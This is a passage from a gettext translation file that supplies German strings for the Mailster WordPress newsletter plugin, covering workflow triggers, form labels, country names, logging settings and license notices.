msgstr "Monaco" #: classes/automation.class.php:157 msgid "When someone fills out and submits a form" msgstr "Wenn jemand ein Formular ausfüllt und abschickt" #: includes/countries.php:153 msgid "Mongolia" msgstr "Mongolei" #: classes/automation.class.php:162 build/workflows/action/index.js:1 #: build/workflows/conditions/index.js:1 build/workflows/delay/index.js:1 #: build/workflows/email/index.js:1 build/workflows/jumper/index.js:1 #: build/workflows/notification/index.js:1 build/workflows/stop/index.js:1 #: build/workflows/trigger/index.js:1 build/workflows/triggers/index.js:1 msgid "Specific date" msgstr "Bestimmtes Datum" #: includes/countries.php:154 msgid "Montenegro" msgstr "Montenegro" #: classes/automation.class.php:163 msgid "On a specific date" msgstr "An einem bestimmten Datum" #: includes/countries.php:155 msgid "Montserrat" msgstr "Montserrat" #: classes/automation.class.php:168 msgid "Anniversary" msgstr "Jahrestag" #: includes/countries.php:156 msgid "Morocco" msgstr "Marokko" #: classes/automation.class.php:169 msgid "On an anniversary of a date" msgstr "An einem Jahrestag eines Datums" #: includes/countries.php:157 msgid "Mozambique" msgstr "Mosambik" #: classes/automation.class.php:174 msgid "Click a link" msgstr "Klick einen Link" #: includes/countries.php:158 msgid "Myanmar [Burma]" msgstr "Myanmar [Birma]" #: classes/automation.class.php:175 msgid "When a subscriber clicks a link" msgstr "Wenn ein Abonnent auf einen Link klickt" #: includes/countries.php:159 msgid "Namibia" msgstr "Namibia" #: classes/automation.class.php:180 msgid "Visits a page" msgstr "Besucht eine Seite" #: includes/countries.php:160 msgid "Nauru" msgstr "Nauru" #: classes/automation.class.php:181 msgid "When a user visits a given page" msgstr "Wenn ein Nutzer eine bestimmte Seite besucht" #: includes/countries.php:161 msgid "Nepal" msgstr "Nepal" #: classes/automation.class.php:186 msgid "Custom Hook" msgstr "Eigener Action hook" #: includes/countries.php:162 msgid "Netherlands" msgstr "Niederlande" #: classes/automation.class.php:187 msgid "When a custom hook is called" msgstr "Wenn ein benutzerdefinierter Hook aufgerufen wird" #: includes/countries.php:163 msgid "Netherlands Antilles" msgstr "Niederländische Antillen" #: classes/automation.class.php:192 msgid "Open a campaign" msgstr "Öffne eine Kampagne" #: includes/countries.php:164 msgid "Neutral Zone" msgstr "Neutrale Zone" #: classes/automation.class.php:193 msgid "When a users opens a campaign" msgstr "Wenn ein Nutzer eine Kampagne öffnet" #: includes/countries.php:165 msgid "New Caledonia" msgstr "Neukaledonien" #: classes/automation.class.php:195 msgid "Comming soon!" msgstr "Kommt bald!" #: includes/countries.php:166 msgid "New Zealand" msgstr "Neuseeland" #: classes/automation.class.php:258 msgid "Workflow limit reached!" msgstr "Workflow-Limit erreicht!" #: includes/countries.php:167 msgid "Nicaragua" msgstr "Nicaragua" #: classes/automation.class.php:259 msgid "You have reached the maximum number of %1$d active workflows! Please upgrade %2$s to enable more workflows." msgstr "Du hast die maximale Anzahl von %1$d aktiven Workflows erreicht! Bitte aktualisiere %2$s, um mehr Workflows zu aktivieren." #: includes/countries.php:168 msgid "Niger" msgstr "Niger" #: classes/automation.class.php:259 msgid "your plan" msgstr "dein Plan" #: includes/countries.php:169 msgid "Nigeria" msgstr "Nigeria" #: classes/automation.class.php:260 msgid "Upgrade now" msgstr "Jetzt upgraden" #: includes/countries.php:170 msgid "Niue" msgstr "Niue" #: includes/countries.php:171 msgid "Norfolk Island" msgstr "Norfolkinsel" #: classes/automation.class.php:779 msgid "Inactive" msgstr "Inaktiv" #: includes/countries.php:172 msgid "North Korea" msgstr "Nordkorea" #: classes/automation.class.php:1070 msgctxt "Post Type General Name" msgid "Workflows" msgstr "Workflows" #: includes/countries.php:173 msgid "North Vietnam" msgstr "Nordvietnam" #: classes/automation.class.php:1071 msgctxt "Post Type Singular Name" msgid "Workflow" msgstr "Workflow" #: includes/countries.php:174 msgid "Northern Mariana Islands" msgstr "Nördliche Marianen" #: classes/automation.class.php:1072 classes/automation.class.php:1074 #: views/dashboard/mb-quicklinks.php:29 msgid "Automations" msgstr "Automatisierungen" #: includes/countries.php:175 msgid "Norway" msgstr "Norwegen" #: classes/automation.class.php:1073 msgid "Workflow Attributes" msgstr "Workflow-Attribute" #: includes/countries.php:176 msgid "Oman" msgstr "Oman" #: classes/automation.class.php:1075 classes/automation.class.php:1076 msgid "Add New Workflow" msgstr "Neuen Workflow hinzufügen" #: includes/countries.php:177 msgid "Pacific Islands Trust Territory" msgstr "Pazifik-Insel-Treuhandgebiet" #: classes/automation.class.php:1077 msgid "New Workflow" msgstr "Neuer Workflow" #: includes/countries.php:178 msgid "Pakistan" msgstr "Pakistan" #: classes/automation.class.php:1078 msgid "Edit Workflow" msgstr "Workflow bearbeiten" #: includes/countries.php:179 msgid "Palau" msgstr "Palau" #: classes/automation.class.php:1079 msgid "Update Workflow" msgstr "Workflow aktualisieren" #: includes/countries.php:180 msgid "Palestinian Territories" msgstr "Palästinensische Autonomiegebiete" #: classes/automation.class.php:1080 msgid "View Workflow" msgstr "Workflow anzeigen" #: includes/countries.php:181 msgid "Panama" msgstr "Panama" #: classes/automation.class.php:1081 msgid "View Workflows" msgstr "Workflows anzeigen" #: includes/countries.php:182 msgid "Panama Canal Zone" msgstr "Panamakanalzone" #: classes/automation.class.php:1082 msgid "Search Workflow" msgstr "Suche Workflow" #: includes/countries.php:183 msgid "Papua New Guinea" msgstr "Papua-Neuguinea" #: classes/automation.class.php:1083 classes/block-forms.class.php:609 msgid "Not found" msgstr "Nicht gefunden" #: includes/countries.php:184 msgid "Paraguay" msgstr "Paraguay" #: classes/automation.class.php:1084 classes/block-forms.class.php:610 msgid "Not found in Trash" msgstr "Nicht im Papierkorb gefunden" #: includes/countries.php:185 msgid "People's Democratic Republic of Yemen" msgstr "Demokratische Volksrepublik Jemen" #: classes/automation.class.php:1085 msgid "Workflows list" msgstr "Liste der Workflows" #: includes/countries.php:186 msgid "Peru" msgstr "Peru" #: classes/automation.class.php:1086 msgid "Workflows list navigation" msgstr "Navigation in der Liste der Workflows" #: includes/countries.php:187 msgid "Philippines" msgstr "Philippinen" #: classes/block-forms.class.php:614 msgid "Filter forms list" msgstr "Liste der Formulare filtern" #: includes/countries.php:188 msgid "Pitcairn Islands" msgstr "Pitcairninseln" #: classes/automation.class.php:1088 msgid "Workflow published" msgstr "Workflow veröffentlicht" #: includes/countries.php:189 msgid "Poland" msgstr "Polen" #: classes/automation.class.php:1089 msgid "Workflow published privately." msgstr "Workflow privat veröffentlicht." #: includes/countries.php:190 msgid "Portugal" msgstr "Portugal" #: classes/automation.class.php:1090 msgid "Workflow reverted to draft." msgstr "Der Workflow wurde auf Entwurf zurückgesetzt." #: includes/countries.php:191 msgid "Puerto Rico" msgstr "Puerto Rico" #: classes/automation.class.php:1091 msgid "Workflow scheduled." msgstr "Workflow geplant." #: includes/countries.php:192 msgid "Qatar" msgstr "Katar" #: classes/automation.class.php:1092 msgid "Workflow updated." msgstr "Workflow aktualisiert." #: includes/countries.php:193 msgid "Romania" msgstr "Rumänien" #: classes/automation.class.php:1098 msgid "Newsletter Automation" msgstr "Newsletter Automatisierung" #: includes/countries.php:194 msgid "Russia" msgstr "Russland" #: includes/countries.php:195 msgid "Rwanda" msgstr "Ruanda" #: includes/countries.php:196 msgid "Réunion" msgstr "Réunion" #: classes/automation.class.php:1386 msgid "Mailster Automations" msgstr "Mailster Automatisierungen" #: includes/countries.php:197 msgid "Saint Barthélemy" msgstr "St. Barthélemy" #: classes/block-forms.class.php:244 msgid "Impressions" msgstr "Anzeigen" #: includes/countries.php:198 msgid "Saint Helena" msgstr "St. Helena" #: classes/block-forms.class.php:245 msgid "Conversions" msgstr "Konversionen" #: includes/countries.php:199 msgid "Saint Kitts and Nevis" msgstr "St. Kitts und Nevis" #: classes/block-forms.class.php:246 msgid "Conversation Rate" msgstr "Konversationsrate" #: includes/countries.php:200 msgid "Saint Lucia" msgstr "St. Lucia" #: classes/block-forms.class.php:246 msgid "CVR" msgstr "CVR" #: includes/countries.php:201 msgid "Saint Martin" msgstr "Sankt Martin" #: classes/block-forms.class.php:258 msgid "Displayed in Content" msgstr "Im Inhalt angezeigt" #: includes/countries.php:202 msgid "Saint Pierre and Miquelon" msgstr "St. Pierre und Miquelon" #: classes/block-forms.class.php:259 msgid "Displayed as Popup" msgstr "Wird als Popup angezeigt" #: includes/countries.php:203 msgid "Saint Vincent and the Grenadines" msgstr "St. Vincent und die Grenadinen" #: classes/block-forms.class.php:260 msgid "Double-Opt-In" msgstr "Double-Opt-In" #: includes/countries.php:204 msgid "Samoa" msgstr "Samoa" #: classes/block-forms.class.php:261 build/forms/form-wrapper/index.js:1 msgid "GDPR compliant" msgstr "DSGVO-konform" #: includes/countries.php:205 msgid "San Marino" msgstr "San Marino" #: classes/block-forms.class.php:262 msgid "Overwrite user data" msgstr "Benutzerdaten überschreiben" #: includes/countries.php:206 msgid "Saudi Arabia" msgstr "Saudi-Arabien" #: classes/block-forms.class.php:263 msgid "Redirect users to %s after form submission." msgstr "Leite Benutzer nach dem Absenden des Formulars zu %s um." #: includes/countries.php:207 msgid "Senegal" msgstr "Senegal" #: classes/block-forms.class.php:266 msgid "Lists: %s" msgstr "Listen: %s" #: includes/countries.php:208 msgid "Serbia" msgstr "Serbien" #: classes/block-forms.class.php:593 msgctxt "Post Type General Name" msgid "Block Forms" msgstr "Blockformulare" #: includes/countries.php:209 msgid "Serbia and Montenegro" msgstr "Serbien und Montenegro" #: classes/block-forms.class.php:593 msgctxt "Post Type General Name" msgid "Forms" msgstr "Formulare" #: includes/countries.php:210 msgid "Seychelles" msgstr "Seychellen" #: classes/block-forms.class.php:597 msgctxt "Post Type Singular Name" msgid "Form" msgstr "Formular" #: includes/countries.php:211 msgid "Sierra Leone" msgstr "Sierra Leone" #: classes/block-forms.class.php:599 msgid "Form Attributes" msgstr "Formularattribute" #: includes/countries.php:212 msgid "Singapore" msgstr "Singapur" #: classes/block-forms.class.php:601 msgid "Add New Form" msgstr "Neues Formular hinzufügen" #: includes/countries.php:213 msgid "Slovakia" msgstr "Slowakei" #: classes/block-forms.class.php:603 msgid "New Form" msgstr "Neues Formular" #: includes/countries.php:214 msgid "Slovenia" msgstr "Slowenien" #: classes/block-forms.class.php:605 msgid "Update Form" msgstr "Formular aktualisieren" #: includes/countries.php:215 msgid "Solomon Islands" msgstr "Salomonen" #: classes/block-forms.class.php:606 msgid "View Form" msgstr "Formular ansehen" #: includes/countries.php:216 msgid "Somalia" msgstr "Somalia" #: classes/block-forms.class.php:607 msgid "View Forms" msgstr "Formulare ansehen" #: includes/countries.php:217 msgid "South Africa" msgstr "Südafrika" #: classes/block-forms.class.php:608 msgid "Search Form" msgstr "Suchformular" #: includes/countries.php:218 msgid "South Georgia and the South Sandwich Islands" msgstr "Südgeorgien und die Südlichen Sandwichinseln" #: classes/block-forms.class.php:611 msgid "Uploaded to this form" msgstr "In dieses Formular hochgeladen" #: includes/countries.php:219 msgid "South Korea" msgstr "Südkorea" #: classes/block-forms.class.php:612 msgid "Forms list" msgstr "Formulare Liste" #: includes/countries.php:220 msgid "Spain" msgstr "Spanien" #: classes/block-forms.class.php:613 msgid "Forms list navigation" msgstr "Formulare Listennavigation" #: includes/countries.php:221 msgid "Sri Lanka" msgstr "Sri Lanka" #: classes/block-forms.class.php:615 msgid "Form published" msgstr "Formular veröffentlicht" #: includes/countries.php:222 msgid "Sudan" msgstr "Sudan" #: classes/block-forms.class.php:616 msgid "Form published privately." msgstr "Das Formular wurde privat veröffentlicht." #: includes/countries.php:223 msgid "Suriname" msgstr "Surinam" #: classes/block-forms.class.php:617 msgid "Form reverted to draft." msgstr "Das Formular wurde zum Entwurf zurückgesetzt." #: includes/countries.php:224 msgid "Svalbard and Jan Mayen" msgstr "Svalbard und Jan Mayen" #: classes/block-forms.class.php:618 msgid "Form scheduled." msgstr "Form geplant." #: includes/countries.php:225 msgid "Swaziland" msgstr "Swasiland" #: classes/block-forms.class.php:619 msgid "Form updated." msgstr "Formular aktualisiert." #: includes/countries.php:226 msgid "Sweden" msgstr "Schweden" #: classes/block-forms.class.php:624 msgid "Newsletter Form" msgstr "Newsletter Formular" #: includes/countries.php:227 msgid "Switzerland" msgstr "Schweiz" #: classes/block-forms.class.php:760 msgid "Welcome to {company}!" msgstr "Willkommen bei {company}!" #: includes/countries.php:228 msgid "Syria" msgstr "Syrien" #: classes/block-forms.class.php:770 msgid "Please confirm your email" msgstr "Bitte bestätige deine E-Mail" #: includes/countries.php:229 msgid "São Tomé and Príncipe" msgstr "São Tomé und Príncipe" #: classes/block-forms.class.php:781 msgid "You have to confirm your email address to subscribe. Please click the link below to confirm. %s" msgstr "Um dich anzumelden, musst du deine E-Mail-Adresse bestätigen. Bitte klicke auf den Link unten, um zu bestätigen. %s" #: includes/countries.php:230 msgid "Taiwan" msgstr "Taiwan" #: classes/block-forms.class.php:1197 msgid "Newsletter Form Fields" msgstr "Newsletter Formularfelder" #: includes/countries.php:231 msgid "Tajikistan" msgstr "Tadschikistan" #: classes/block-forms.class.php:1212 msgid "Mailster Forms" msgstr "Mailster Formulare" #: includes/countries.php:232 msgid "Tanzania" msgstr "Tansania" #: includes/countries.php:233 msgid "Thailand" msgstr "Thailand" #: classes/block-forms.class.php:1716 msgid "close" msgstr "schließen" #: includes/countries.php:234 msgid "Timor-Leste" msgstr "Timor-Leste" #: classes/campaigns.class.php:439 classes/campaigns.class.php:444 msgid "Workflow" msgstr "Workflow" #: includes/countries.php:235 msgid "Togo" msgstr "Togo" #: classes/campaigns.class.php:444 msgid "Workflows" msgstr "Workflows" #: includes/countries.php:236 msgid "Tokelau" msgstr "Tokelau" #: classes/campaigns.class.php:458 msgid "Test" msgstr "Test" #: includes/countries.php:237 msgid "Tonga" msgstr "Tonga" #: classes/conditions.class.php:374 msgid "has Tag (deprecated)" msgstr "hat Tag (veraltet)" #: includes/countries.php:238 msgid "Trinidad and Tobago" msgstr "Trinidad und Tobago" #: classes/conditions.class.php:375 msgid "doesn't have Tag (deprecated)" msgstr "hat kein Tag (veraltet)" #: includes/countries.php:239 msgid "Tunisia" msgstr "Tunesien" #: classes/conditions.class.php:882 msgid "No Form available" msgstr "Kein Formular verfügbar" #: includes/countries.php:240 msgid "Turkey" msgstr "Türkei" #: classes/conditions.class.php:961 msgid "Workflow Campaigns" msgstr "Workflow-Kampagnen" #: includes/countries.php:241 msgid "Turkmenistan" msgstr "Turkmenistan" #: classes/conditions.class.php:1074 msgid "Separate tags with commas" msgstr "Tags mit Kommas trennen" #: includes/countries.php:242 msgid "Turks and Caicos Islands" msgstr "Turks- und Caicosinseln" #: classes/divi.class.php:9 classes/elementor.class.php:15 #: build/form/index.js:233 msgid "Mailster Form" msgstr "Mailster Formular" #: includes/countries.php:243 msgid "Tuvalu" msgstr "Tuvalu" #: classes/divi.class.php:26 classes/divi.class.php:35 #: classes/elementor.class.php:40 msgid "Select form" msgstr "Formular auswählen" #: includes/countries.php:244 msgid "U.S. Minor Outlying Islands" msgstr "U.S. Minor Outlying Islands" #: classes/forms.class.php:268 msgid "Legacy" msgstr "Veraltet" #: includes/countries.php:245 msgid "U.S. Miscellaneous Pacific Islands" msgstr "U.S. Verschiedene Pazifische Inseln" #: classes/forms.class.php:555 msgid "Block Forms are here!" msgstr "Die Blockformulare sind da!" #: includes/countries.php:246 msgid "U.S. Virgin Islands" msgstr "U.S. Jungferninseln" #: classes/forms.class.php:557 msgid "Create a block form" msgstr "Ein Blockformular erstellen" #: includes/countries.php:247 msgid "Uganda" msgstr "Uganda" #: classes/forms.class.php:557 msgid "Convert your old forms" msgstr "Konvertiere deine alten Formulare" #: includes/countries.php:248 msgid "Ukraine" msgstr "Ukraine" #: classes/forms.table.class.php:130 msgid "convert Form" msgstr "Formular umwandeln" #: includes/countries.php:249 msgid "Union of Soviet Socialist Republics" msgstr "Union der Sozialistischen Sowjetrepubliken" #: classes/forms.table.class.php:130 msgid "Convert to Block Form" msgstr "In Blockform umwandeln" #: includes/countries.php:250 msgid "United Arab Emirates" msgstr "Vereinigte Arabische Emirate" #: classes/mailster.class.php:2020 msgid "Your license is not valid for this item." msgstr "Deine Lizenz ist für diesen Artikel nicht gültig." #: includes/countries.php:251 msgid "United Kingdom" msgstr "Vereinigtes Königreich" #: classes/precheck.class.php:115 msgid "This link is pointing to the newsletter itself" msgstr "Dieser Link verweist auf den Newsletter selbst" #: includes/countries.php:252 msgid "United States" msgstr "Vereinigte Staaten" #: classes/rest-controller/rest.form.class.php:117 msgid "No user found" msgstr "Kein Benutzer gefunden" #: includes/countries.php:253 msgid "Unknown or Invalid Region" msgstr "Unbekannte oder ungültige Region" #: classes/rest-controller/rest.form.class.php:192 msgid "%s is missing or wrong" msgstr "%s fehlt oder ist falsch" #: includes/countries.php:254 msgid "Uruguay" msgstr "Uruguay" #: classes/rest-controller/rest.form.class.php:208 msgid "Please wait at least %s seconds before submitting the form." msgstr "Bitte warte mindestens %s Sekunden, bevor du das Formular abschickst." #: includes/countries.php:255 msgid "Uzbekistan" msgstr "Usbekistan" #: classes/tinymce.class.php:199 views/settings/advanced.php:42 msgid "Legacy Forms" msgstr "Veraltete Formulare" #: includes/countries.php:256 msgid "Vanuatu" msgstr "Vanuatu" #: classes/workflow.class.php:479 msgid "Action failed with %1$s after %2$d tries. Workflow has been finished." msgstr "Aktion ist mit %1$s nach %2$d Versuchen fehlgeschlagen. Der Workflow wurde beendet." #: includes/countries.php:257 msgid "Vatican City" msgstr "Vatikanstadt" #: classes/workflow.class.php:489 msgid "Action failed with %1$s" msgstr "Aktion fehlgeschlagen mit %1$s" #: includes/countries.php:258 msgid "Venezuela" msgstr "Venezuela" #: includes/countries.php:3 msgid "Afghanistan" msgstr "Afghanistan" #: includes/countries.php:259 msgid "Vietnam" msgstr "Vietnam" #: includes/countries.php:4 msgid "Albania" msgstr "Albanien" #: includes/countries.php:260 msgid "Wake Island" msgstr "Wake Island" #: includes/countries.php:5 msgid "Algeria" msgstr "Algerien" #: includes/countries.php:261 msgid "Wallis and Futuna" msgstr "Wallis und Futuna" #: includes/countries.php:6 msgid "American Samoa" msgstr "Amerikanisch-Samoa" #: includes/countries.php:262 msgid "Western Sahara" msgstr "Westsahara" #: includes/countries.php:7 msgid "Andorra" msgstr "Andorra" #: includes/countries.php:263 msgid "Yemen" msgstr "Jemen" #: includes/countries.php:8 msgid "Angola" msgstr "Angola" #: includes/countries.php:264 msgid "Zambia" msgstr "Sambia" #: includes/countries.php:9 msgid "Anguilla" msgstr "Anguilla" #: includes/countries.php:265 msgid "Zimbabwe" msgstr "Simbabwe" #: includes/countries.php:10 msgid "Antarctica" msgstr "Antarktis" #: includes/countries.php:266 msgid "Åland Islands" msgstr "Ålandinseln" #: includes/countries.php:11 msgid "Antigua and Barbuda" msgstr "Antigua und Barbuda" #: includes/static.php:55 build/homepage-context/index.js:5 msgid "Thank you for confirming your subscription to our newsletter. We're excited to have you on board!" msgstr "Vielen Dank, dass du deine Anmeldung zu unserem Newsletter bestätigt hast. Wir freuen uns, dich an Bord zu haben!" #: includes/countries.php:12 msgid "Argentina" msgstr "Argentinien" #: patterns/workflows.php:6 msgid "Start from scratch" msgstr "Von vorne anfangen" #: views/dashboard/mb-mailster.php:27 msgid "Account" msgstr "Konto" #: views/dashboard/mb-mailster.php:45 msgid "Check for Updates" msgstr "Nach Updates suchen" #: views/dashboard/mb-mailster.php:56 msgid "Renew your license to update" msgstr "Erneuere deine Lizenz zum Aktualisieren" #: views/dashboard/mb-mailster.php:66 views/setup/delivery.php:104 msgid "Get Help" msgstr "Hilfe" #: views/logging/detail.php:6 msgid "This entry does not exist or has been deleted!" msgstr "Dieser Eintrag existiert nicht oder wurde gelöscht!" #: views/logging/detail.php:20 msgid "Log from %s" msgstr "Log von %s" #: views/logging/detail.php:23 msgid "Delete Entry" msgstr "Eintrag löschen" #: views/logging/detail.php:23 msgid "Do you really like to remove this log entry?" msgstr "Möchtest du diesen Logeintrag wirklich entfernen?" #: views/logging/detail.php:32 msgid "Receiver" msgstr "Empfänger" #: views/logging/detail.php:34 msgid "Message ID" msgstr "Message ID" #: views/logging/detail.php:35 build/forms/form-wrapper/index.js:1 #: build/forms/gdpr/index.js:1 msgid "Content" msgstr "Inhalt" #: views/logging/detail.php:39 msgid "Plain" msgstr "Plain" #: views/logging/detail.php:40 msgid "Raw" msgstr "Raw" #: views/logging/overview.php:10 msgid "%s Entry found" msgid_plural "%s Entries found" msgstr[0] "%s Eintrag gefunden" msgstr[1] "%s Eingaben gefunden" #: views/logging/overview.php:19 msgid "Search Log Entries" msgstr "Logbucheinträge suchen" #: views/settings.php:46 msgid "Logging" msgstr "Loggen" #: views/settings/general.php:107 msgid "Static Map Service" msgstr "Statischer Kartendienst" #: views/settings/general.php:110 msgid "Don't use any static maps" msgstr "Verwenden Sie keine statischen Karten" #: views/settings/general.php:111 msgid "Use OpenStreetMaps" msgstr "OpenStreetMaps verwenden" #: views/settings/general.php:112 msgid "Use Google Maps" msgstr "Google Maps verwenden" #: views/settings/logging.php:1 msgid "You can log all outgoing mails sent by Mailster. This is useful if you like to debug issues during sending. Disable this settings if you don't need logging as it uses more server resources." msgstr "Du kannst alle ausgehenden Mails, die von Mailster versendet werden, protokollieren. Das ist nützlich, wenn du Probleme beim Versand beheben möchtest. Deaktiviere diese Einstellung, wenn du die Protokollierung nicht benötigst, da sie mehr Serverressourcen verbraucht." #: views/settings/logging.php:4 msgid "Enable Logging" msgstr "Logging aktivieren" #: views/settings/logging.php:5 msgid "Enable Logging for outgoing mails sent by Mailster." msgstr "Aktiviere das Logging für ausgehende Mails, die von Mailster gesendet werden." #: views/settings/logging.php:9 msgid "Max. Entries" msgstr "Max. Einträge" #: views/settings/logging.php:10 msgid "Number of entries to keep in the database." msgstr "Anzahl der Einträge, die in der Datenbank gespeichert werden sollen." #: views/settings/logging.php:13 msgid "Max. Days" msgstr "Max. Tage" #: views/settings/logging.php:14 msgid "Number of days to keep entries in the database." msgstr "Anzahl der Tage, die die Einträge in der Datenbank bleiben sollen." #: views/settings/logging.php:17 msgid "Cleanup is delayed so the database can contain more entries. Keep fields empty to ignore settings." msgstr "Die Bereinigung wird verzögert, damit die Datenbank mehr Einträge enthalten kann. Lass Felder leer, um Einstellungen zu ignorieren." #: classes/campaigns.class.php:5082 msgid "Sent with Mailster" msgstr "Versendet mit Mailster" #: classes/convert.class.php:17 msgid "Convert License" msgstr "Lizenz umwandeln" #: classes/convert.class.php:40 msgid "[Action Required] We need to transfer your Mailster license!" msgstr "[Aktion erforderlich] Wir müssen deine Mailster-Lizenz übertragen!" #: classes/convert.class.php:41 msgid "Hey there! Just wanted to give you a heads up that we're changing our license provider." msgstr "Hallo! Ich wollte dich nur vorwarnen, dass wir unseren Lizenzanbieter wechseln werden." #: classes/convert.class.php:42 msgid "As part of the process, we'll need your consent for a quick manual step. Thanks for your help in advance!" msgstr "Als Teil des Prozesses benötigen wir deine Zustimmung für einen kurzen manuellen Schritt. Vielen Dank für deine Hilfe im Voraus!" #: classes/convert.class.php:43 msgid "Convert now" msgstr "Jetzt konvertieren" #: classes/convert.class.php:43 msgid "read more about it" msgstr "mehr darüber lesen" #: classes/forms.class.php:556 msgid "Creating forms for Mailster gets easier and more flexible. Utilize the WordPress Block Editor (Gutenberg) to create you custom, feature rich forms." msgstr "Das Erstellen von Formularen für Mailster wird einfacher und flexibler. Nutze den WordPress-Block-Editor (Gutenberg), um deine eigenen, funktionsreichen Formulare zu erstellen." #: classes/forms.class.php:557 views/automation/empty.php:12 #: views/forms/empty.php:12 msgid "Check out our guide" msgstr "Schau dir unseren Leitfaden an" #: classes/logs.class.php:25 classes/logs.class.php:93 #: classes/logs.table.class.php:24 msgid "Logs" msgstr "Logs" #: classes/logs.class.php:126 msgid "Time" msgstr "Zeit" #: classes/logs.table.class.php:23 msgid "Log" msgstr "Log" #: classes/logs.table.class.php:50 msgid "No logs found" msgstr "Keine Logs gefunden" #: classes/mailster.class.php:1364 msgid "Do you like to use on-page help and documentation?" msgstr "Möchtest du die On-Page-Hilfe und Dokumentation verwenden?" #: classes/mailster.class.php:1364 includes/freemius.php:128 msgid "If you agree third-party scripts are loaded to provide you with help." msgstr "Wenn du zustimmst, werden Skripte von Drittanbietern geladen, um dir zu helfen." #: classes/mailster.class.php:1476 msgid "Get Help. [ALT]-click to open as modal." msgstr "Hol dir Hilfe. [ALT]-Klick, um ein modales Fenster zu öffnen." #: classes/mailster.class.php:2024 msgid "You need a valid license to get an update." msgstr "Du brauchst eine gültige Lizenz, um ein Update zu erhalten." #: classes/mailster.class.php:2024 msgid "Renew license now" msgstr "Lizenz jetzt erneuern" #: classes/mailster.class.php:2048 msgid "Download not possible." msgstr "Download nicht möglich." #: classes/mailster.class.php:2048 msgid "Download not possible. Please convert your license to get updates." msgstr "Download nicht möglich. Bitte wandle deine Lizenz um, um Updates zu erhalten." #: classes/mailster.class.php:2048 msgid "Convert License now" msgstr "Lizenz jetzt umwandeln" #: classes/mailster.class.php:2048 msgid "Learn more" msgstr "Mehr erfahren" #: classes/queue.class.php:1200 msgid "How long the processing took" msgstr "Wie lange der Prozess dauerte" #: classes/queue.class.php:1200 msgid "How long the sending took" msgstr "Wie lange das Senden dauerte" #: classes/queue.class.php:1200 msgid "How long the whole process took" msgstr "Wie lange der ganze Prozess dauerte" #: classes/subscribers.class.php:3234 msgid "[Action Required] An unusual high number of confirmation messages should be sent!" msgstr "[Aktion erforderlich] Es sollten ungewöhnlich viele Bestätigungsnachrichten gesendet werden!" #: classes/subscribers.class.php:3235 msgid "Mailster is about to send %1$s confirmation messages, which is %2$s of your current subscriber base." msgstr "Mailster ist dabei, %1$s Bestätigungsnachrichten zu verschicken, was %2$s deiner aktuellen Abonnentenbasis entspricht." #: classes/subscribers.class.php:3236 msgid "If this is correct please confirm this action. If not please check your subscribers!" msgstr "Wenn dies korrekt ist, bestätige bitte diese Aktion. Wenn nicht, überprüfe bitte deine Abonnenten!" #: classes/subscribers.class.php:3237 msgid "Check subscribers" msgstr "Abonnenten prüfen" #: classes/subscribers.class.php:3237 msgid "Send confirmation messages to %s subscribers" msgstr "Sende Bestätigungsnachrichten an %s Abonnenten" #: classes/subscribers.table.class.php:379 msgid "add to all" msgstr "zu allen hinzufügen" #: classes/subscribers.table.class.php:380 msgid "remove from all" msgstr "aus allen entfernen" #: classes/subscribers.table.class.php:381 msgid "confirm all" msgstr "alle bestätigen" #: classes/subscribers.table.class.php:382 msgid "unconfirm all" msgstr "alle unbestätigen" #: classes/tinymce.class.php:148 msgid "Insert Emoji" msgstr "Emoji einfügen" #: includes/3rdparty.php:160 msgid "Advanced Custom Fields" msgstr "Advanced Custom Fields" #: includes/capability.php:324 msgid "view logs" msgstr "Protokolle ansehen" #: includes/freemius.php:111 msgid "Please enter the email address for your %s" msgstr "Bitte gib die E-Mail Adresse für dein %s ein" #: includes/freemius.php:113 msgid "will be used if no account is assigned to your license" msgstr "wird verwendet, wenn deiner Lizenz kein Konto zugewiesen ist" #: includes/freemius.php:116 msgid "Can't find your license key?" msgstr "Du kannst deinen Lizenzschlüssel nicht finden?" #: includes/freemius.php:130 msgid "Loading Help Scout's beacon for easy support access" msgstr "Laden des Help Scout Beacons für einfachen Zugang zu Support" #: views/admin_header.php:105 msgid "Help" msgstr "Hilfe" #: views/dashboard/mb-mailster.php:16 msgid "Please Activate your License" msgstr "Bitte aktiviere deine Lizenz" #: classes/forms.class.php:678 msgid "Welcome to %s! Please Confirm Your Email" msgstr "Willkommen bei %s! Bitte bestätige deine E-Mail" #: classes/forms.class.php:679 msgid "Please confirm your Email" msgstr "Bitte bestätige deine E-Mail" #: classes/forms.class.php:680 msgid "By clicking on the following link, you are confirming your email address. %s" msgstr "Indem du auf den folgenden Link klickst, bestätigst du deine E-Mail-Adresse. %s" #: classes/forms.class.php:681 msgid "Confirm your email address" msgstr "Bestätige deine E-Mail Adresse" #: classes/upgrade.class.php:92 msgid "Mailster database update in progress" msgstr "Mailster Datenbank-Update in Arbeit" #: classes/upgrade.class.php:93 msgid "Mailster is updating the database in the background. The database update process may take a little while, so please be patient." msgstr "Mailster aktualisiert die Datenbank im Hintergrund. Der Prozess der Datenbankaktualisierung kann eine kleine Weile dauern, also habe bitte etwas Geduld." #: classes/upgrade.class.php:94 msgid "View progress" msgstr "Fortschritt sehen" #: classes/upgrade.class.php:136 msgid "Update finished." msgstr "Update beendet." #: classes/upgrade.class.php:137 msgid "Mailster database update complete. Thank you for updating to the latest version!" msgstr "Mailster-Datenbank-Update abgeschlossen. Danke, dass du auf die neueste Version aktualisiert hast!" #: classes/campaigns.class.php:1284 msgid "Open rate is higher as your average rate of %s" msgstr "Die Öffnungsrate ist höher als deine durchschnittliche Rate von %s" #: classes/campaigns.class.php:1286 msgid "Open rate is lower as your average rate of %s" msgstr "Die Öffnungsrate ist niedriger als deine durchschnittliche Rate von %s" #: classes/campaigns.class.php:1317 msgid "Click rate is higher as your average rate of %s" msgstr "Die Klickrate ist höher als deine durchschnittliche Rate von %s" #: classes/campaigns.class.php:1319 msgid "Click rate is lower as your average rate of %s" msgstr "Die Klickrate ist niedriger als deine durchschnittliche Rate von %s" #: classes/campaigns.class.php:1348 msgid "Unsubscribe rate is higher as your average rate of %s" msgstr "Die Abmelderate ist höher als deine durchschnittliche Rate von %s" #: classes/campaigns.class.php:1350 msgid "Unsubscribe rate is lower as your average rate of %s" msgstr "Die Abmelderate ist niedriger als deine durchschnittliche Rate von %s" #: classes/campaigns.class.php:1369 msgid "Bounce rate is higher as your average rate of %s" msgstr "Die Absprungrate ist höher als deine durchschnittliche Rate von %s" #: classes/campaigns.class.php:1371 msgid "Bounce rate is lower as your average rate of %s" msgstr "Die Absprungrate ist niedriger als deine durchschnittliche Rate von %s" #: views/settings/general.php:8 